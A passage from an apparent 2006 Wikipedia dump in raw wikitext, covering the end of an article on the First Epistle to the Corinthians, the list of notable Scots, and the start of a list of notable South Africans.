#He next treats of a case of [[incest]] that had become notorious among them, and of members of the church who had sued one another, to be judged in a court of law rather than before the saints of the Christian community, and of [[fornication]]  (chs. 5&amp;ndash;6).
#In the third part, he discusses various questions of doctrine and Christian ethics, in reply to certain communications they had made to him. Paul discusses marriage and the preferable state of continence, the irrelevance of circumcision, the eating of meats that have been offered to an idol, the necessities of a woman covering her head and a man uncovering his, and other particular matters. Chapter 9 is a self-defense.  Among other things this section is the most thorough discussion of spiritual gifts, including [[prophecy]] and [[glossolalia]], in the entire New Testament. Paul does not condemn them but urges their orderly use, and also contrasts them with the higher spiritual gifts of faith, hope and love. Paul also rectifies certain flagrant abuses regarding the celebration of the [[Eucharist]] (chs. 7&amp;ndash;14).&lt;br&gt;The lines 14:33&amp;ndash;34 deal with the role and behavior of [[Ordination of women|women in the church]], that women are to keep silent, and are regarded by some to be an interpolation written by someone other than Paul. Some believe that the topic of line 33, of prophesying, appears to be disrupted by the dialogue concerning women, only to be picked up again at line 14:36.  Further, these restrictions against women's authority mirror the language and tone of similar restrictions in First Timothy, which is considered by most scholars to be of non-Pauline origin.
#The concluding part (chs. 15&amp;ndash;16) contains an elaborate defense of the doctrine of the resurrection of the dead, which had been called into question by some among them, followed by some general instructions, intimations, and greetings.

This epistle &quot;shows the powerful self-control of the apostle in spite of his physical weakness, his distressed circumstances, his incessant troubles, and his emotional nature. It was written, he tells us, in bitter anguish, 'out of much affliction and pressure of heart . . . and with streaming eyes' (2 Cor 2:4); yet he restrained the expression of his feelings, and wrote with a dignity and holy calm which he thought most calculated to win back his erring children. It gives a vivid picture of the early church . . . It entirely dissipates the dream that the apostolic church was in an exceptional condition of holiness of life or purity of doctrine.&quot;{{fact}} The apostle in this epistle unfolds and applies great principles fitted to guide the church of all ages in dealing with the same and kindred evils in whatever form they may appear.

The traditional subscription to the epistle, translated in the [[Authorized Version]], states that this epistle was written at [[Philippi]], perhaps arising from a misinterpretation of 16:5, &quot;For I do pass through Macedonia,&quot; as meaning, &quot;I am passing through Macedonia.&quot;  In 16:8 Paul declares his intention of staying in Ephesus until Pentecost.

==See also==
*[[1 Corinthians 13:1]] - the ''tongues of men and angels'' verse

==External links==
Online translations of [[First Epistle to the Corinthians]]:
*{{biblegateway|1|Corinthians}}
*[http://www.earlychristianwritings.com/1corinthians.html Early Christian Writings: ''1 Corinthians''] (also other resources via here)

Related articles:
*[http://www.studylight.org/enc/isb/view.cgi?number=T2324 International Standard Bible Encyclopedia:] ''1 Corinthians''


{{eastons}}

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Romans|Romans]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Second Epistle to the Corinthians|2 Corinthians]]
|}
&lt;/center&gt;

[[Category:New Testament books|Corinthians 1]]
[[Category:Charismatic and Pentecostal Christianity]]

[[zh-min-nan:Ko-lîm-to Chiân-su]]
[[de:1. Korintherbrief]]
[[fr:Première épître aux Corinthiens]]
[[ko:고린도전서]]
[[id:Surat Paulus yang Pertama kepada Jemaat di Korintus]]
[[ia:Epistola 1 al Corinthios]]
[[jv:I Korintus]]
[[nl:Eerste brief van Paulus aan de Korintiërs]]
[[ja:コリントの信徒への第一の手紙]]
[[pl:1 List do Koryntian]]
[[pt:Primeira Epístola aos Coríntios]]
[[ru:1-е к Коринфянам]]
[[fi:Ensimmäinen kirje korinttilaisille]]
[[sv:Första Korinthierbrevet]]
[[zh:哥林多前書]]</text>
    </revision>
  </page>
  <page>
    <title>List of Scots</title>
    <id>11379</id>
    <revision>
      <id>41899514</id>
      <timestamp>2006-03-02T13:46:16Z</timestamp>
      <contributor>
        <username>Agendum</username>
        <id>36536</id>
      </contributor>
      <comment>/* Theologians */ incl Norman Porteous</comment>
      <text xml:space="preserve">'''List of Scots''' is an incomplete list of notable people from [[Scotland]].
{{listdev}}
==Actors (see also 'Humorists')==
*[[Ian Bannen]], (1928-1999)
*[[Billy Boyd]], (born 1968)
*[[Gerard Butler]], (born 1969)
*[[Peter Capaldi]]
*[[Robert Carlyle]], (born 1961)
*[[Hamish Clark]], (born 1967)
*[[Robbie Coltrane]], (born 1950)
*[[Sean Connery]], (born 1930) 
*[[Billy Connolly]] (born 1942)
*[[Tom Conti]], (born 1941)
*[[James Cosmo]], (born 1948)
*[[Brian Cox]], (born 1946)
*[[Alan Cumming]], (born 1965)
*[[Craig Ferguson]], (born 1962)
*[[Rikki Fulton]], (1924-2004)
*[[Dougie Henshall]], (born 1965)
*[[James Robertson Justice]], (1905-1975)
*[[Deborah Kerr]], (born 1921)
*[[John Laurie]], (1897-1980)
*[[Fulton Mackay]], (1922-1987)
*[[David McCallum]], (born 1933)
*[[Angus McFadyen]], (born 1963)
*[[Ewan McGregor]], (born 1971)
*[[Paul McGillion]], (born 1968)
*[[Kevin McKidd]], (born 1973)
*[[Peter Mullan]], (born 1954)
*[[Daniela Nardini]]
*[[Bill Paterson]], (born 1945)
*[[Dougray Scott]], (born 1965)
*[[Moira Shearer]], (born 1926)
*[[Alastair Sim]], (1900-1976)
*[[John Gordon Sinclair]], (born 1962)
*[[David Tennant]], (born 1971)
*[[Ian McDiarmid]]
*[[Denis Lawson]]
*[[John Hannah]]
*[[David Heyman]]

==Architects==
*[[Robert Adam]], (1728-1792)
*[[William Adam]], (1689-1748) Father of Robert and architect and builder
*[[Robert Rowand Anderson]] (1834 - 1921)
*[[Charles Cameron (architect)|Charles Cameron]], (1743-1812)
*[[Robert Lorimer]] (1864 - 1929)
*[[Charles Rennie Mackintosh]], (1868-1928), [[architect]], [[designer]] and watercolourist, husband of [[Margaret MacDonald (Artist)]]
*[[Robert Matthew]], (1906 - 1975)
*[[James Playfair]], (1755 - 1794), father of William Henry
*[[William Henry Playfair]],  (1790-1857)
*[[James Robert Rhind]],  (1854-1918)
*[[James Stirling (architect)|James Stirling]], (1926-1992)
*[[Basil Spence]], (1907-1976)
*[[Thomas S. Tait]], (1882 - 1954)
*[[Alexander 'Greek' Thomson ]], (1817-1875)

==Artists==
*[[Muirhead Bone]], (1876 - 1953), etcher
*[[Mark Boyle]], (1934-2005)
*[[John Byrne (Scottish artist)|John Byrne]], (born 1940)
*[[Robert Colquhoun]]
*[[Ian Hamilton Finlay]], (born 1925), sculptor and installation artist
*[[Peter Howson]]
*[[Hew Lorimer]], (1907 - 1993), sculptor and brother of architect [[Robert Lorimer]]
*[[Margaret MacDonald (Artist)]], (1865-1933), wife of Charles Rennie Mackintosh
*[[Robert MacBryde]]
*[[Dugald MacColl]]
*[[James MacGillivray]], sculptor
*[[David Mach]], (born 1956), sculptor and installation artist
*[[Alexander Nasmyth]], (1758-1840), landscape painter
*[[Patrick Nasmyth]], (1787-1831), landscape painter, son of Alexander
*[[Henry Raeburn]], (1756-1823), portrait painter
*[[Jack Vettriano]], (born 1951)
*[[David Wilkie (artist)|David Wilkie]] (1785 -1841) painter

==Business==
*[[Arthur Anderson (businessman)|Arthur Anderson]], (1792-1868), co-founder of P&amp;O
*[[Alexander Berry]], (1781-1873), Australia's first Millionaire? Had a town named after him.
*[[David Dunbar Buick|David Buick]], founded the Buick car company
*[[Andrew Carnegie]], (1835-1919), steel magnate, major philanthropist
*[[William Davidson (lumberman)|William Davidson]],(1740-1790 entrepreneur and founder of the first colony in New Brunswick, Canada
*Dr.[[Henry Duncan]], (1774-1846) Church of Scotland Minister.  Started the worlds first savings bank in Ruthwell, Dumfries and Galloway
*[[Thomas Blake Glover]], (1838-1911) Nagasaki-based trader in 19th century Japan
*[[Tom Hunter]], entrepreneur and philanthropist, founder of Sports Division
*[[Irvine Laidlaw]] Scotland's 2nd richest man and founder of the modern [[conference company]]
*[[John Law (economist)|John Law]], (1671-1729), advocate of paper money and founder of the [[Mississippi Company]]
*[[William Paterson (banker)|William Paterson]], (1658-1719), founder [[Bank of England]] and [[Bank of Scotland]]
*[[Robert Gordon]], founder of [[The Robert Gordon University]]

==Composers==
*[[Robert Carver]]
*[[Hamish MacCunn]]
*[[John Blackwood McEwen]]
*[[James MacMillan (musician)|James MacMillan]]
*[[William Wallace (Scottish composer)|William Wallace]]

==Engineers and Inventors==
*Sir [[William Arrol]], (1839-1913), bridge builder 
*[[Alexander Bain]], (1818-1903), fax machine
*[[John Logie Baird]], (1888-1946), television
*[[Alexander Graham Bell]], (1847-1922), telephone, National Geographic, Hydrofoil
*[[Henry Bell]], (1767-1830), ran Euope's first commercially successful steamboat
*[[James Braid (physician)|James Braid]], (1795-1860), hypnosis
*[[James Chalmers]], (1782-1853), adhesive postage stamp
*Sir [[Dugald Clark]] (aka ''Clerk''), (1854-1932), first [[two stroke cycle]] engine (the [[Clark cycle]])
*[[Robert Davidson]], first [[electric locomotive]], 1837
*[[James Dewar]], (1842-1923), inventor of the [[vacuum flask|Thermos flask]] and co-developer of [[cordite]]
*[[William Dickson (film pioneer)|William Dickson]], (1860-1935), [[motion picture]] [[camera]] and the [[Dickson Greeting|world's first film]]
*[[John Boyd Dunlop]], the modern rubber tyre
*Sir [[Alexander Fleming]], (1881-1955), isolated [[Penicillin]] from the fungus ''[[Penicillium notatum]]''
*[[James Harrison]], (1816-1893), pioneer in mechanical [[refrigeration]]
*[[James Bowman Lindsay]], (1799-1862), inventor of the constant electric [[light bulb]]
*[[Charles Macintosh]], (1766-1843), patented waterproofing
*[[Kirkpatrick MacMillan]], (1813–1878)  the bicycle
*[[John Loudon McAdam]] modern road construction
*Sir [[Robert McAlpine]] (''Concrete Bob''), (1847-1934), road builder
*[[Patrick Miller of Dalswinton|Patrick Miller]], steamboat pioneer.
*[[William Murdoch]], (1754-1839), pioneer of [[gas lighting]]
*[[James Nasmyth]], (1808-1890), [[Steam Hammer]]
*[[Robert Stirling Newall]], (1812 - 1889), engineer, improved wire rope and submarine cable laying.
*[[John Shepherd-Barron]], inventor of the [[Automatic Teller Machine|ATM]]
*[[William Symington]], (1764-1831), engineer, built the first practical steam boat
*[[Thomas Telford]], (1757-1834) architect, civil engineer, bridge designer
*[[Robert William Thomson]], (1822-1873)
*[[James Watt]], (1736-1819), engineer, significantly improved the steam engine
*[[James Simpson]], introduced chloroform into surgery

==Explorers==
*[[William Balfour Baikie]], (1824-1864), [[Africa]], surgeon and naturalist on the [[1854]] [[Niger river|Niger]] expedition
*[[James Bruce]], (1730-1794), traveller and travel writer.
*[[William S. Bruce]], (1867-1921) [[Antarctica]], first to widely explore the [[Weddell Sea]]
*[[David Douglas]], (1799-1834), explorer, botanist, introduced about 240 species of plants to [[Great Britain]], including the [[Douglas-fir]]
*[[Alexander Forbes]], [[American Pacific coast]]
*[[Robert Gordon of Straloch]], map maker of [[Scotland]]
*[[James Augustus Grant]], (1827-1892), eastern Africa, member of the exhibition that found the sources of the [[Nile]] 
*[[Alexander Gordon Laing]] (1793–1826), first European to reach [[Timbuktu]]
*[[David Livingstone]], (1813-1873), explorer, missionary in Africa, discovered [[Victoria Falls]]
*[[Alexander Mackenzie (explorer)]]
*[[Archibald Menzies]] (1754-1852) 
*Major Sir [[Thomas Mitchell]] (1792-1855), Australia
*[[Mungo Park]] (1771-1806), Africa, first [[European]] to reach the [[Niger river|Niger]]
*[[John Rae]], (1813-1893), Canadian Arctic
*Sir [[James Clark Ross]] (born in [[London]]), (1800-1862), Antarctica, discovered the [[Ross Sea]], [[Victoria Land]], and the volcanoes [[Mount Erebus]] and [[Mount Terror (Antarctica)|Mount Terror]]
*[[John McDouall Stuart]], (1815–1866), most famous of all Australia's inland explorers, led the first expedition to successfully traverse the continent from south to north
*[[Henry Sinclair, 1st Earl of Orkney]], allegedly explored [[North America]] in [[1398]]
*[[John Muir]]
*[[Colin Campbell]], founder of the [[Swedish East India Company]]
*[[Tom Weir]] climber, author and broadcaster

==Humourists==
*[[Ronald Balfour Corbett]] (Ronnie), (born 1930) 
*[[Stanley Baxter]], (born 1926)
*[[Janet Brown]], (born 1924)
*[[Billy Connolly]] (born 1942)
*[[Ivor Cutler]] (born 1923)
*[[Craig Ferguson]], (born 1962)
*[[Graeme Garden]], (born 1943)
*[[Rory Bremner]], (born 1961)
*[[Doon Mackichan]], (born 1962)
*[[Alexander Selkirk]]
*[[Chic Murray]]

==Inventors==
''Please see [[List of Scottish inventors]]''

==Musicians==
''Please see [[List of Scottish musicians]]''

==Philosophers==
*[[John Abercrombie]], (1780-1844)
*[[John Anderson (philosopher)|John Anderson]], (1893-1962)
*[[Thomas Brown (philosopher)|Thomas Brown]], (1778-1820)
*[[Adam Ferguson]], (1723-1816)
*Sir [[William Hamilton]], (1788-1856)
*[[Henry Home, Lord Kames]], (1696-1782)
*[[David Hume]], (1711-1776), inspired [[Immanuel Kant]]
*[[John Mair]], othewise known as ''Major'', (1467 - 1550), teacher of [[George Buchanan]], [[John Knox]], and influencer of [[Calvin]] and [[Loyola]]
*[[Alasdair MacIntyre]], (born 1929)
*[[James McCosh]], (1811-1894)
*[[Thomas Reid]], (1710-1796), played an integral role in the [[Scottish Enlightenment]]
*[[Duns Scotus]], (1266-1308)
*[[Adam Smith]], (1723-1790), Eeconomist, Free Trade, Laisser-faire, Division of Labour

==Rulers, Politicians, Soldiers==
*[[William Wallace]], (c. 1270-1305), ''a.k.a. [[The Wallace]]''
*[[Robert the Bruce]], Robert I of Scotland
*[[Alex Salmond]], Politician ([[Scottish National Party|SNP]] leader 1990-2000 &amp; 2004-)
*[[Gordon Brown]], (born 1951), Labour Chancellor of the Exchequer
*[[Bonnie Prince Charlie]], ''The Young Pretender'' to the throne of the [[Kingdom of Great Britain|United Kingdom]]
*[[Donald Dewar]], (born 1937), Scotland [[First Minister]]
*[[Robert Cunninghame-Graham]] ('Don Roberto') aristocrat socialist
*[[Jo Grimond]], (1913-1993), [[Liberal Party (UK)|Liberal Party]] leader from 1956 to 1967
*[[James I of England|James VI of Scotland and I of England]], (1603-1625)
*[[James Maxton|Jimmy Maxton]], leader of the [[Independent Labour Party]]
*[[Thomas Johnston|Tom Johnston]] (Tam), post WW2 Secretary of State for [[Scotland]]
*[[Thomas Cochrane]], Admiral in the [[Royal Navy]]
*[[Charles Kennedy]], leader of the [[Liberal Democrats (UK)|Liberal Democrats]] 1999-2006
*[[Mary I of Scotland|Mary, Queen of Scots]], (1542-1587)
*[[Macbeth of Scotland]], High King of Scotland
*[[John MacCormick]], Nationalist
*[[John A. Macdonald]], First [[Prime Minister of Canada]]
*[[Margo MacDonald]], Nationalist
*[[Ramsay MacDonald]], (1866-1937), UK [[Prime minister]]
*[[Malcolm MacDonald]]
*[[Alexander Mackenzie]], second [[Prime Minister of Canada]]
*[[John Maclean MA|John MacLean]], revolutionary
*[[Jerry Rawlings]], former president of [[Ghana]]. He is partly of Scottish descent.
*[[Jim Sillars]], founder of [[Scottish Labour Party]], MP
*[[John Smith (UK politician)|John Smith]], (1938-1994) [[Labour Party (UK)|Labour Party]] leader
*[[David Steel]], (born 1938), Liberal Party leader from 1976 to 1988
*[[Alec Douglas-Home]], (1903-1995), UK [[Prime minister]]
*[[Calgacus]]
*[[Colin Campbell]]
*[[Bernard de Linton|Abbot Bernard de Linton]], author of the [[Declaration of Arbroath]]
*[[David Beaton|Cardinal David Beaton]]
*[[James IV of Scotland|King James IV]]
*[[James Graham, 1st Marquess of Montrose]], Covenanter and Royalist Leader of Highland Armies
*[[Richard Cameron (religious leader)|Richard Cameron]], Republican Covenanter and founder of the “Cameronians”
*[[Bonnie Dundee|Viscount (Bonnie) Dundee]], [[Jacobitism|Jacobite]] Highland Army leader
*[[Andrew Fletcher|Andrew Fletcher of Saltoun]]
*[[Rob Roy MacGregor]]
*[[Keir Hardie]]
*[[James Connolly (nationalist)|James Connolly]]
*[[Colin Campbell, 1st Baron Clyde]]
*[[Jack McConnell]], Current First Minister

==Scientists==
See [[List of Scottish scientists]]

==Sportspeople==
:''See also [[Scottish Sports Hall of Fame]].''
*[[Alain Baxter]], alpine skier
*[[Ken Buchanan]], (born 1945), world champion boxer
*Sir [[Matt Busby]], (1909-1994), football manager, won the [[European Cup]] in [[1968]]
*[[Jim Clark (racing driver)|Jim Clark]], (1936-1968), Formula 1 driver
*[[David Coulthard]], (born 1971), Formula 1 driver
*[[Kenny Dalglish]], (born 1951), footballer and a manager of [[Liverpool F.C.]]
*Sir [[Alex Ferguson]], (born 1941), footballer and a manager of [[Manchester United F.C.]]
*[[Roberto Frankowski]], (born 1987), junior world champion boxer
*[[Wyndham Halswelle]], (1882-1915), Olympic champion runner
*[[Stephen Hendry]] (born 1969), professional snooker player, 7 times World champion.
*[[Dougal Haston]], (1940-1977), mountaineer
*[[Chris Hoy]], (born 1976), world, olympic and commonwealth champion track cyclist
*[[Jimmy Johnstone]], (born 1944), football player
*[[Denis Law]], (born 1940), football player
*[[Eric Liddell]], (1902-1945), athlete, one of the two subjects of ''[[Chariots of Fire]]''
*[[Jackie Lockhart]], (born 1965), curler, skip of Scotland team that won the 2002 world championships
*[[Benny Lynch]], (1913-1946), world champion boxer
*[[Hamish MacInnes]], (born 1930), mountaineer
*[[Colin McRae]], (born 1968), world champion rally driver
*[[Rhona Martin]] curler, Olympic gold medallist
*[[Ally McCoist]], (born 1962), football player
*[[Liz McColgan]], (born 1964), athlete
*[[William McGregor]], (1846-1911), founder of the [[Football League]] in England
*[[Billy McNeill]], (born 1940), footballer and a manager of [[Celtic F.C.]]
*[[David Millar]], (born 1977), road cyclist
*[[Robert Millar]], (born 1958), professional cyclist, 'King of the Mountains' in 1984 Tour de France
*[[Andrew Murray (tennis player)|Andrew Murray]], (born 1987), tennis player
*[[Graeme Obree]] (born ?), world record holding cyclist
*[[Bill Shankly]], (1914-1981), football manager
*[[Jock Stein]], (1922-1985), football manager, won the [[European Cup]] with [[Celtic F.C.]]
*Sir [[Jackie Stewart]], (born 1939), world champion Formula 1 driver
*[[Bobby Thomson]], (born 1923), Scots-born American baseball player
*[[Andrew Watson]], (1857-?) world's first black international football player, captain and administrator
*[[Jim Watt]], (born 1948), world champion boxer, won the WBC World Lightweight title
*[[David Wilkie (swimmer)|David Wilkie]], (born 1954), swimmer
*[[Jim Baxter]], footballer (September 29, 1939 – April 14, 2001)
*[[Davie Cooper]], footballer (February 25, 1956 - March 23, 1995)

==Television Personalities==
*[[Ronni Ancona]], (born 1968)
*[[Edith Bowman]], (born 1975)
*[[Nicky Campbell]], (born 1962)
*[[Romana D'Annunzio]], (born 1972)
*[[Kirsty Gallacher]], (born 1976)
*[[Lorraine Kelly]], (born 1959)
*[[John Leslie (television presenter)|John Leslie]] (John Leslie Stott), (born 1965)
*[[Gail Porter]], (born 1971)
*[[Carol Smillie]], (born 1961)
*[[Kirsty Wark]], (born 1955)
*[[Cameron Stout]]

==Theologians==
*[[William Robinson Clark]], (1829-1912) Born Daviot, Aberdeenshire became Dean of Taunton and prebendary of Wells 1859-1880 and Professor of Theology, mental and moral philosophy - University of Toronto, Canada 1888-1912. External link: [http://www.oliveweb.clara.net/clark-hogg/ch-gallery-clark-william-robinson.htm William Robinson Clark] and [http://www.oliveweb.clara.net/clark-hogg/ch-gallery-clark-william-robinson-obituary.htm obitituary].
*[[Alexander Penrose Forbes]] (1817-1875)
*[[James Frazer]] (1854-1941), anthropologist of comparative religion and myth 
*[[Alexander Henderson]] (1583-1646)
*[[Richard Holloway]]
*[[John Knox]], (c.1513-1572) 
*[[Thomas McCrie]]
*[[George Newlands]]
*[[Andrew Purves]], born in Scotland, currently working at [[Pittsburgh Theological Seminary]] in USA
*[[Duns Scotus|John Duns Scotus]], (c.1266-1308)
*[[Thomas Torrance]], (born 1913)
*[[George Wishart]], (1513-1546)
*[[Saint Mungo]] (or Kentigern)....
*Rev Prof [[Norman Walker Porteous]] (1898-2003), translator of the Bible

==Writers==
See [[List of Scottish writers]]

==Others==
*[[Alison Balfour]], A &quot;Notorious Witch&quot;
*[[Andrew Bell (educator)]], (1753-1832), Developer of the [[Madras System]]
*[[Helen Duncan]], &quot;Hellish Nell&quot;, The Last woman to be tried under the [[Witchcraft Act]]
*[[Douglas Haig]], (1861-1928), Commander-in-chief of British Forces during [[World War I]]
*[[Elsie Inglis]], Medical Reformer and Suffragette
*[[Alexander Kinloch Forbes]], (1821-1865) Scholar of the [[Gujarati language]] and Colonial Administrator in [[British India]]
*[[John Paul Jones]], (1747-1792), Admiral of the Russian and American Navies
*[[William Kidd|Captain Kidd]], (1645-1701), Pirate
*[[Flora Macdonald]], [[Jacobitism|Jacobite]] and [[United Empire Loyalists|United Empire Loyalist]]
*[[Rob Roy MacGregor]], Romantic Outlaw
*[[Colin Mackenzie]], (c.1754-1821), Soldier and Scholar in [[British India]]
*[[John James Richard Macleod]], (1876-1935)
*[[John Muir]], (1838-1914), 19th Century Environmentalist
*[[James Murdoch (born 1856)|James Murdoch]],(1856-1921) Journalist and Teacher in [[Japan]] and [[Australia]]
*[[Robert Noble]]
*[[Allan Pinkerton]], (1819-1884), US Detective
*[[John Charles Walsham Reith]], (1889-1971), a.k.a Lord Reith, First Director General of the [[BBC]]
*[[Alexander Selkirk]], (1676-1723), Inspiration for [[Robinson Crusoe]], by [[Daniel Defoe]]
*[[Christian Shaw]], Started the [[Paisley Thread Industry]]
*[[Mary Slessor]], Missionary and Advocate for Women's Rights
*[[Elizabeth, Countess of Sutherland]], Enthusiastic Contributor to the [[Highland Clearances]]
*[[Stella Tennant]], Model

==See also==
*[[List of people by nationality]] 
*[[List of Kings of the Picts]]
*[[List of monarchs of Scotland]]
*[[Scottish-American]]
*[[Scots-Quebecer]]
*[[Scottish-Canadian]]

[[Category:Lists of British people| Scots]]
[[Category:Lists of people by nationality|Scotland]]
[[Category:Lists of Scottish people| ]]
[[Category:Scotland-related lists|Scots]]
[[Category:Scottish people| ]]

[[fr:Liste d'Écossais célèbres]]</text>
    </revision>
  </page>
  <page>
    <title>List of South Africans</title>
    <id>11380</id>
    <revision>
      <id>41289992</id>
      <timestamp>2006-02-26T08:41:46Z</timestamp>
      <contributor>
        <username>Exclusia</username>
        <id>993568</id>
      </contributor>
      <comment>/* Football (Rugby Union) */</comment>
      <text xml:space="preserve">This is a list of notable [[South Africa]]ns with Wikipedia articles.

==Academics, Medical and Scientists==
*[[Estian Calitz]], academic (1949 - )
*[[Clement Martyn Doke]], linguist (1893 - 1980)
*[[Allan McLeod Cormack]], physicist (1924 - 1998) 
*[[Abraham Manie Adelstein]], UK Chief Medical Statistician (1916 - 1992)
*[[Christiaan Barnard]], pioneering heart surgeon (1922 - 2001)
*[[Peter Beighton]], geneticist (1934 - )
*[[Sydney Brenner]], biologist (1927 - )
*[[Thebe Medupe]], astrophysicist
*[[Calie Pistorius]], academic and Principal of the University of Pretoria
*[[Basil Schonland]], physicist (1896 - 1927)
*[[James Leonard Brierley Smith]], ichthyologist (1897 - 1968)

==Artist==
===Actors, Playwrights, TV and Radio personalties===
*[[Lev David]], writer and media consultant (1980 - )
*[[Ronald Harwood]], playwright and writer (1934 - )
*[[Athol Fugard]], playwright (1932 - )
*[[John Kani]], actor, entertainer and writer
*[[Felicia Mabuza-Suttle]], talk show host, public speaker and businesswoman
*[[Jeremy Mansfield]], radio and TV personality
*[[Mbongeni Ngema]], playwright, actor, choreographer and director
*[[Leon Schuster]], filmmaker, comedian, actor and prankster
*[[Anthony Sher]], actor, author and painter (1949 - )
*[[Mthuli ka Shezi]], playwright and political activist ( - 1972)
*[[William Smith (South African)|William Smith]], TV teacher and presenter
*[[Janet Suzman]], actress (1939 - )
*[[Charlize Theron]], actress (1975 - )
*[[Pieter Dirk Uys]] political satirist and entertainer
*[[Jamie Uys]], film Director (1921 - 1996)

===Authors, Editors, Poets and Journalists===
*[[Herman Charles Bosman]], author (1905 - 1951)
*[[Roy Campbell (Poet)|Roy Campbell]], poet (1901 - 1957)
*[[John Michael Coetzee]], author (1940 - )
*[[K. Sello Duiker]], novelist (1974-2005)
*[[Totius|Jakob Daniël du Toit]], poet aka Totius (1877 - 1953)
*[[Elisabeth Eybers]], poet ( - )
*[[Arthur Goldstuck]], journalist (1959 - )
*[[Nadine Gordimer]], 1991 [[Nobel Prize for Literature|Nobel Prize]]-winning author (1923 - )
*[[John Tengo Jabavu]], political activist and newspaper editor (1859 - 1921)
*[[Ingrid Jonker]], poet (1933 - 1965)
*[[Aggrey Klaaste]], journalist and editor
*[[Antjie Krog]], poet, novelist and playwright
*[[Laurence Lerner]], poet (1925-)
*[[Eugene Marais|Eugène Nielen Marais]], lawyer, naturalist, poet and writer (1871 - 1936)
*[[Dalene Matthee]], author (1938 - 2005)
*[[Gcina Mhlope]], storyteller, author, playwright, director, actor (1959 - )
*[[Phaswane Mpe]], novelist (1970 - 2004)
*[[Alan Paton]], author (1903 - 1988)
*[[Olive Schreiner]], author (1855 - 1920)
*[[J. R. R. Tolkien|JRR Tolkien]], author (1892 - 1973)
*[[Donald Woods]],  journalist and anti-apartheid activist (1933 - 2001)
*[[Rachel Zadok]], London-based South African writer (1972- )
*[[Sol Plaatje]], journalist and political activist (1877 - 1932)

===Musicians===
'''See:''' [[List of South African musicians]]

===Artists, Cartoonist and Painters===
*[[Jeff Chandler (artist)|Jeff Chandler]], artist (1947 - 2000)
*[[T.O. Honiball]], cartoonist (1905-1990)
*[[Neville Lewis]], artist (1895 - 1972) 
*[[Rexon Mathebula]], artist (1926 - )
*[[Jacobus Hendrik Pierneef]], artist
*[[Gerard Sekoto]], artist and musician (1913 - 1993)

===Photographers===
*[[David Goldblatt]], photographer (1930 - )

==Business==
*[[Raymond Ackerman]], businessman
*[[David Brink]], businessman (1939 - )
*[[Basetsana Kumalo]], former Miss South Africa, presenter and businesswoman
*[[Sammy Marks]], businessman ( - )
*[[Patrice Motsepe]], businessman (1962 - )
*[[Elon Musk]], Internet and space launch entrepreneur (1971 - )
*[[Harry Oppenheimer]], businessman (1908 - 2000)
*[[Mamphela Ramphele]], political activist, academic, businesswoman and mother to the son of Steve Biko
*[[Cyril Ramaphosa]], politician and businessman
*[[Cecil Rhodes]], businessman (1853 - 1902)
*[[Anton Rupert]], businessman (1916 - 2006)
*[[Tokyo Sexwale]], politician and businessman
*[[Mark Shuttleworth]], Web entrepreneur, founder of Thawte and Ubuntu Linux, astronaut (1973 - )

==Legal==
*[[Lourens Ackermann]], constitutional court judge (1934 - )
*[[George Bizos]], lawyer
*[[Arthur Chaskalson]], judge (1931 - )
*[[Harold Hanson]], advocate QC (1904 - 1973)
*[[Bram Fischer]], advocate QC and political activist

==Political==
===Activists and trade unionists===
*[[Zackie Achmat]], AIDS activist
*[[Neil Aggett]], political activist and trade unionist (&amp;dagger; 1982)
*[[Jeremy Baskin]], trade unionist (1956 - )
*[[Steve Biko]], [[nonviolence|nonviolent]] political activist (1946 - 1977)
*[[Chris Hani]], political activist (1942 - 1993)
*[[Ahmed Kathrada]], political activist
*[[Adolph Malan]], fighter pilot and civil rights activist (1910 - 1963)
*[[Govan Mbeki]], political activist and father of Thabo Mbeki
*[[Fatima Meer]], scientist and political activist
*[[Elias Motsoaledi]], political activist (1924 - 1994)
*[[Victoria Mxenge]], anti-apartheid activist (1942 - 1985)
*[[Lilian Ngoyi]], anti-apartheid activist (1911 - 1980)
*[[Rachel Simons]], communist and trade unionist (1914 - 2004)
*[[Albertina Sisulu]], political activist and wife of Walter Sisulu (1919 - )
*[[Walter Sisulu]], political activist (1912 - 2003)
*[[Robert Sobukwe]], political activist (1924 - 1978)
*[[Oliver Tambo]], political activist (1917 - 1993)
*[[Eugène Terre'Blanche]], right wing activist
*[[Richard Turner]], academic and political activist {1941 - 1978}


===Leaders and Politicians===
*[[Ken Andrew]], politican (1943 - )
*[[Kader Asmal]], an activist, politician and professor of human rights (1934 -)
*[[Sibusiso Bengu]], politican (1934 - )
*[[Thozamile Botha]], politican (1948 - )
*[[Cheryl Carolus]], politican (1958 - )
*[[Piet Cronje]], boer general and commander-in-chief the [[South African Republic]]'s military forces (1840 - 1911)
*[[Sir De Villiers Graaff|De Villiers Graaff]], leader of United Party ( 1913 - 1999) 
*[[Nkosazana Dlamini-Zuma]], politician
*[[Patricia de Lille]], politician
*[[Yusuf Dadoo]], doctor and politician
*[[Danny Jordaan]], politician and soccer administrator
*[[Tony Leon]], politician (1956 - )
*[[Winnie Madikizela-Mandela]], politician and 2nd wife of Nelson Mandela (1936 - )
*[[Magnus Malan]], minister of defence and chief of the South African Defence Force (1930 - )
*[[Trevor Manuel]], minister of finance
*[[Phumzile Mlambo-Ngcuka]], current deputy president (1955 - )
*[[Monty Naicker|Gagathura (Monty) Mohambry Naicker]], medical doctor and politician (1910 - 1978)
*[[Bulelani Ngcuka]], politician
*[[Dullah Omar]], politician
*[[Andries Pretorius]], [[Boer]] leader and commandant-general (1799 - 1853)
*[[Deneys Reitz]], boer commando, former deputy Prime Minister  and South African High Commissioner to [[London]] (1882 - 1944)
*[[Joe Slovo]], politician (1926 - 1995)
*[[Helen Suzman]], politician (1917 - )
*[[Frederik van Zyl Slabbert]], politician
*[[Jacob Zuma]], former deputy president (1942 - )

===Prime Ministers and Presidents===
*[[Jacobus Boshoff]], 2nd President of the [[Orange Free State]] (1808 - 1881)
*[[Louis Botha]], Boer commander-in-chief and 1st Prime Minister of South Africa (1862 - 1919)
*[[Pieter Willem Botha]], 9th and last Prime Minister and 8th State President of South Africa (1916 - )
*[[Jan Brand|Johannes Henricus Brand]], 4th President of the Orange Free State
*[[Thomas Francois Burgers]], 4th President of South African Republic (1871 - 1877)
